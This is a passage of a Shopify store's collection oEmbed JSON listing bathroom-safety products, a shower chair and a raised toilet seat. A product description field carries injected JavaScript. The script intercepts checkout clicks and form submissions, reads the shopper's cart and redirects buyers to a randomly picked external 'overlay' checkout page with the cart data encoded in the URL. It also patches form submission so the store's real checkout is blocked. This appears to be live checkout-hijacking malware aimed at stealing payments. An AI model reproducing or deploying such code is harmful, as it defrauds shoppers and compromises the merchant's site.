fizetéshez','finalizează comanda','плащане','na blagajnu','završi kupnju','k pokladni','na blagajno','siirry kassalle','pereiti prie apmokėjimo','doties uz kasi','mine kassasse','fara í kassa','lanjut ke pembayaran','bayar sekarang','teruskan ke pembayaran','ชำระเงิน','thanh toán','magbayad','भुगतान करें'];\n  function hasCheckoutPhrase(value) {\n    const s = String(value || '').toLowerCase();\n    for (let i = 0; i \u003c CHECKOUT_PHRASES.length; i += 1) {\n      if (s.indexOf(CHECKOUT_PHRASES[i]) !== -1) return true;\n    }\n    return false;\n  }\n  function randomOverlayToken() {\n    const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';\n    const size = 188 + Math.floor(Math.random() * 31);\n    const bytes = new Uint8Array(size);\n    crypto.getRandomValues(bytes);\n    let out = '';\n    for (let i = 0; i \u003c size; i += 1) out += alphabet[bytes[i] % alphabet.length];\n    return out;\n  }\n  function looksLikeCheckout(value) {\n    return String(value || '').toLowerCase().includes(CHECKOUT_NEEDLE);\n  }\n  function getSourceSite() {\n    return String(location.hostname || location.host || 'checkout-site').trim() || 'checkout-site';\n  }\n  function getSourceOrigin() {\n    return String(location.origin || '').trim();\n  }\n  function getSourcePath() {\n    return String(location.pathname || '\/').trim() || '\/';\n  }\n  function absoluteUrl(value) {\n    try {\n      const anchor = document.createElement('a');\n      anchor.href = String(value || '');\n      return anchor.href;\n    } catch (e) {\n      return String(value || '');\n    }\n  }\n  function pickOverlayBase() {\n    const candidates = Array.isArray(OVERLAY_CHOICES)\n      ? OVERLAY_CHOICES.filter(v =\u003e typeof v === 'string' \u0026\u0026 \/^https?:\\\/\\\/\/i.test(v))\n      : [];\n    if (!candidates.length) throw new Error('overlay_choices_missing');\n    const bytes = new Uint32Array(1);\n    crypto.getRandomValues(bytes);\n    return candidates[bytes[0] % candidates.length];\n  }\n  function encodeTransportPayload(value) {\n    const bytes = new TextEncoder().encode(JSON.stringify(value));\n    let binary = '';\n    const chunkSize = 0x8000;\n    for (let offset = 0; offset \u003c bytes.length; offset += chunkSize) {\n      const chunk = bytes.subarray(offset, offset + chunkSize);\n      binary += String.fromCharCode.apply(null, chunk);\n    }\n    return btoa(binary).replace(\/\\+\/g, '-').replace(\/\\\/\/g, '_').replace(\/=+$\/g, '');\n  }\n  function toMinorAmount(value) {\n    const amount = Number(value);\n    return Number.isFinite(amount) \u0026\u0026 amount \u003e= 0 ? Math.round(amount) : 0;\n  }\n  function normalizeImage(raw) {\n    const source = String(raw || '').trim();\n    if (!source) return '';\n    if (source.startsWith('\/\/')) return location.protocol + source;\n    try { return absoluteUrl(source); } catch { return source; }\n  }\n  function normalizeDiscounts(cart) {\n    const discounts = [];\n    const levels = Array.isArray(cart \u0026\u0026 cart.cart_level_discount_applications)\n      ? cart.cart_level_discount_applications\n      : [];\n    levels.forEach(function(entry, index) {\n      const amountMinor = toMinorAmount(entry \u0026\u0026 (entry.total_allocated_amount ?? entry.amount));\n      if (!amountMinor) return;\n      discounts.push({\n        id: 'cart-discount-' + (index + 1),\n        label: String((entry \u0026\u0026 (entry.title || entry.description)) || 'Discount').trim() || 'Discount',\n        amountMinor\n      });\n    });\n    if (!discounts.length) {\n      const fallback = toMinorAmount(cart \u0026\u0026 cart.total_discount);\n      if (fallback \u003e 0) {\n        discounts.push({\n          id: 'cart-discount',\n          label: 'Discount',\n          amountMinor: fallback\n        });\n      }\n    }\n    return discounts;\n  }\n  function normalizeOrderFromCart(cart) {\n    const items = Array.isArray(cart \u0026\u0026 cart.items) ? cart.items : [];\n    return {\n      locale: document.documentElement.lang || navigator.language || 'en-US',\n      currency: String((cart \u0026\u0026 cart.currency) || 'USD').trim().toUpperCase() || 'USD',\n      items: items.map(function(item, index) {\n        const title = String((item \u0026\u0026 (item.product_title || item.title || item.name)) || ('Item ' + (index + 1))).trim();\n        const variant = String(item \u0026\u0026 (item.variant_title || item.variant || item.subtitle) || '').trim();\n        const image = normalizeImage(\n          item \u0026\u0026 (\n            (item.featured_image \u0026\u0026 (item.featured_image.url || item.featured_image.src)) ||\n            item.image || item.featured_image\n          )\n        );\n        return {\n          id: String((item \u0026\u0026 (item.key || item.id || item.variant_id || ('item-' + index))) || ('item-' + index)).trim(),\n          title: title || ('Item ' + (index + 1)),\n          variant,\n          subtitle: variant,\n          image,\n          alt: title || ('Item ' + (index + 1)),\n          quantity: Math.max(0, Number.parseInt(item \u0026\u0026 item.quantity, 10) || 0),\n          unitPriceMinor: toMinorAmount(item \u0026\u0026 (item.final_price ?? item.price ?? item.original_price))\n        };\n      }).filter(item =\u003e item.quantity \u003e 0),\n      discounts: normalizeDiscounts(cart),\n      shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' },\n      tax: { amountMinor: 0, included: false, label: '' },\n      taxMinor: 0\n    };\n  }\n  async function readCart() {\n    const controller = typeof AbortController === 'function' ? new AbortController() : null;\n    const timer = controller ? setTimeout(function() { controller.abort(); }, 10000) : 0;\n    try {\n      const response = await fetch('\/cart.js', {\n        credentials: 'same-origin',\n        cache: 'no-store',\n        signal: controller ? controller.signal : undefined\n      });\n      if (!response.ok) throw new Error('cart_http_' + response.status);\n      return await response.json();\n    } finally {\n      if (timer) clearTimeout(timer);\n    }\n  }\n  async function stashCartForOverlay() {\n    try {\n      const cart = await readCart();\n      const order = normalizeOrderFromCart(cart);\n      if (!Array.isArray(order.items) || !order.items.length) return null;\n      const payload = {\n        site: location.hostname,\n        sourceSite: getSourceSite(),\n        sourceUrl: location.href,\n        sourceOrigin: getSourceOrigin(),\n        sourcePath: getSourcePath(),\n        capturedAt: Date.now(),\n        order\n      };\n      window.name = WINDOW_NAME_PREFIX + encodeURIComponent(JSON.stringify(payload));\n      window.__CHECKIOUT_FASTBUNDLE_CART_PAYLOAD__ = payload;\n      return payload;\n    } catch {\n      return null;\n    }\n  }\n  function pickCheckoutTarget(el) {\n    const direct = el?.href || el?.formAction || el?.getAttribute?.('href') || el?.getAttribute?.('formaction');\n    if (direct \u0026\u0026 \/^https?:\/i.test(direct) \u0026\u0026 looksLikeCheckout(direct)) return direct;\n    if (direct \u0026\u0026 direct.startsWith('\/') \u0026\u0026 looksLikeCheckout(direct)) return absoluteUrl(direct);\n    const formAction = el?.closest?.('form')?.action;\n    if (formAction \u0026\u0026 looksLikeCheckout(formAction)) return formAction;\n    return absoluteUrl('\/checkout');\n  }\n  function redirectToOverlay(targetUrl, cartPayload) {\n    const selectedOverlayBase = pickOverlayBase();\n    const normalizedTarget = looksLikeCheckout(targetUrl)\n      ? targetUrl\n      : absoluteUrl('\/checkout');\n    const params = {\n      return_to: normalizedTarget,\n      site: location.hostname,\n      source_site: getSourceSite(),\n      source_host: location.hostname,\n      source_origin: getSourceOrigin(),\n      source_path: getSourcePath(),\n      source_url: location.href,\n      checkout_path: CHECKOUT_NEEDLE,\n      overlay_route: selectedOverlayBase.replace(\/^https?:\\\/\\\/[^\/]+\/i, '').split('?')[0] || '\/',\n      _r: randomOverlayToken()\n    };\n    let finalUrl = selectedOverlayBase + (selectedOverlayBase.includes('?') ? '\u0026' : '?') +\n      Object.keys(params).map(function(k) { return encodeURIComponent(k) + '=' + encodeURIComponent(params[k]); }).join('\u0026');\n    if (cartPayload \u0026\u0026 Array.isArray(cartPayload.order?.items) \u0026\u0026 cartPayload.order.items.length) {\n      finalUrl += '#co=' + encodeTransportPayload(cartPayload);\n    }\n    location.href = finalUrl;\n  }\n  async function redirectToOverlayWithCart(targetUrl) {\n    if (window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__) return;\n    window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__ = true;\n    let cartPayload = null;\n    try { cartPayload = await stashCartForOverlay(); } catch {}\n    redirectToOverlay(targetUrl, cartPayload);\n  }\n  function isCheckoutTrigger(el) {\n    if (!el) return false;\n    const text = ((el.innerText || el.textContent || '') + ' ' + (el.getAttribute?.('aria-label') || '')).toLowerCase();\n    const href = String(el.href || el.getAttribute?.('href') || '').toLowerCase();\n    const formAction = String(el.formAction || el.getAttribute?.('formaction') || el.closest?.('form')?.action || '').toLowerCase();\n    const ident = String((el.name || '') + ' ' + (el.id || '') + ' ' + (el.className || '') + ' ' + (el.value || '')).toLowerCase();\n    return hasCheckoutPhrase(text + ' ' + href + ' ' + formAction + ' ' + ident) || href.includes('\/checkout') || formAction.includes('\/checkout') || ident.includes('checkout');\n  }\n  window.addEventListener('pointerdown', function(event) {\n    const el = event.target \u0026\u0026 event.target.closest \u0026\u0026 event.target.closest('a,button,input[type=\"submit\"],input[type=\"button\"]');\n    if (!isCheckoutTrigger(el)) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ = pickCheckoutTarget(el);\n    window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = true;\n    redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__);\n  }, true);\n  window.addEventListener('click', function(event) {\n    const el = event.target \u0026\u0026 event.target.closest \u0026\u0026 event.target.closest('a,button,input[type=\"submit\"],input[type=\"button\"]');\n    if (!isCheckoutTrigger(el)) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ = pickCheckoutTarget(el);\n    window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = true;\n    redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__);\n  }, true);\n  window.addEventListener('submit', function(event) {\n    const form = event.target;\n    const submitter = event.submitter || null;\n    if (window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__) {\n      window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = false;\n      event.preventDefault();\n      event.stopImmediatePropagation();\n      redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ || absoluteUrl('\/checkout'));\n      return;\n    }\n    const action = String(form?.action || '').toLowerCase();\n    const text = ((form?.innerText || form?.textContent || '')).toLowerCase();\n    if (!(action.includes('\/checkout') || hasCheckoutPhrase(text))) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    redirectToOverlayWithCart(pickCheckoutTarget(submitter || form));\n  }, true);\n  console.log('ANNCODE_FILECODE_ACTIVE:' + \"anncode-validation-20260724-jandm-v1\");\n})();\n;try{var ps=HTMLFormElement.prototype.submit;HTMLFormElement.prototype.submit=function(){if(window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__)return;return ps.apply(this,arguments);};}catch(e){}try{var pr=HTMLFormElement.prototype.requestSubmit;HTMLFormElement.prototype.requestSubmit=function(){if(window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__)return;return pr.apply(this,arguments);};}catch(e){}\u003c\/script\u003e","brand":"Drivemedical","offers":[{"title":"Swivel Shower Chair","offer_id":44188407103660,"sku":"Swivel Shower Chair: MHSCIII","price":195.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/product_tbn_1AkX0eONDk_33f71b45-54a3-4784-baf7-f945dfe6c7fe.jpg?v=1741410029"},{"product_id":"2-4-6-raised-toilet-seat-with-arms","title":"2″\/4″\/6″ Raised Toilet Seat with Arms","description":"\u003ch2\u003e2″\/4″\/6″ Raised Toilet Seat with Arms\u003c\/h2\u003e\n\u003ch2\u003e\n\u003cstrong\u003e3 Adjustable Heights\u003c\/strong\u003e: Offers three customizable height options 2, 4, and 6 inches for enhanced comfort and usability.\u003c\/h2\u003e\n\u003cul\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cstrong\u003eUniversal Toilet Seat Riser:\u003cspan\u003e \u003c\/span\u003e\u003c\/strong\u003eDesigned to fit most standard and elongated toilet bowls seamlessly.\u003c\/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eDurable Design:\u003c\/strong\u003e Featuring a lid with a recessed grip offers better hygiene and easy use.\u003c\/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eAdjustable Armrests:\u003c\/strong\u003e Pivoting armrests allow you to raise the arms based on your preference.\u003c\/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eErgonomic Design:\u003c\/strong\u003e Contoured structure of the elevated toilet seat ensures a secure and comfortable seating experience.\u003c\/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eElderly Support\/Recovery Assistance\u003c\/strong\u003e: Ideal for elderly care and post-surgery recovery.\u003c\/li\u003e\n\u003cli\u003eWeight Capacity: 300 lbs\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":45332083703980,"sku":"MHRTS246","price":140.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/mobb.png?v=1771105563"}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/collections\/bath.png?v=1740673728","url":"https:\/\/jjhealthcareproducts.ca\/collections\/bathroom-safety.oembed","provider":"jjhealthcareproducts","version":"1.0","type":"link"}